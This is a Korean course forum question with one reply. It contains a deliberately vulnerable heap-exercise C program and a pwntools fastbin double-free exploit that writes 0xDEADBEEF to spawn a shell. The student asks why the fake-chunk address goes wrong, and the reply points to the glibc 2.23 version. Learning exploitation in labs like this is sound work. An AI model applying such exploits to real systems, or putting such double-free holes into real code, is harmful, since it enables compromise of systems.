완료됨
fastbin_dub2.py fake_chunk를 만들 때 올바른 값이 들어가지 않습니다.
// gcc -o fastbin_dup2 fastbin_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int overwrite_me;
int main()
{
int ch, idx;
int i = 0;
char *ptr[10];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
printf("Name : ");
read(0, name, 16);
while (1) {
printf("> ");
scanf("%d", &ch);
switch(ch) {
case 1:
if( i >= 10 ) {
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(32);
printf("Data: ");
read(0, ptr[i], 32-1);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
if( overwrite_me == 0xDEADBEEF ) {
system("/bin/sh");
}
break;
default:
break;
}
}
return 0;
}
# fastbin_dup2.py
from pwn import *
p = process("./fastbin_dup2")
def add(data):
print p.sendlineafter(">","1")
print p.sendlineafter(":",str(data))
def free(idx):
print p.sendlineafter(">","2")
print p.sendlineafter(":",str(idx))
def getshell():
print p.sendlineafter(">","3")
elf = ELF('fastbin_dup2')
fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("Name :", fakechunk)
add("AAAA") # 0
add("AAAA") # 1
free(0)
free(1)
free(0)
overwrite_me_addr = elf.symbols['overwrite_me']
fake_chunk_name = elf.symbols['name']
add(p64(fake_chunk_name)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010
add(p64(0xDEADBEEF)) # Arbitrary allocate, write
getshell()
p.interactive()
위에는 해당 강의의 실습문제이구
아래는 그에 대한 익스플로잇 코드 인데
add(p64(fake_chunk_name))
이 부분에서 fd위치에 name의 주소가 들어가야 할 것 같은데
name의 주소가 아닌 이상한 값이 들어갑니다. 따라서 EOF에러가 말생합니다
어떻게 해야 올바른 name의 주소가 들어갈 수 있나요??
#시스템해킹
작성자 정보
답변
1
kimht__
강의 수강: 1
혹시 glibc 2.23으로 테스트해보셨나요?
glibc 버전별로 malloc/free 동작 방식이 조금씩 다르기 때문에
강의에서의 환경인 glibc 2.23으로 맞춰야 정확하게 재현될 겁니다.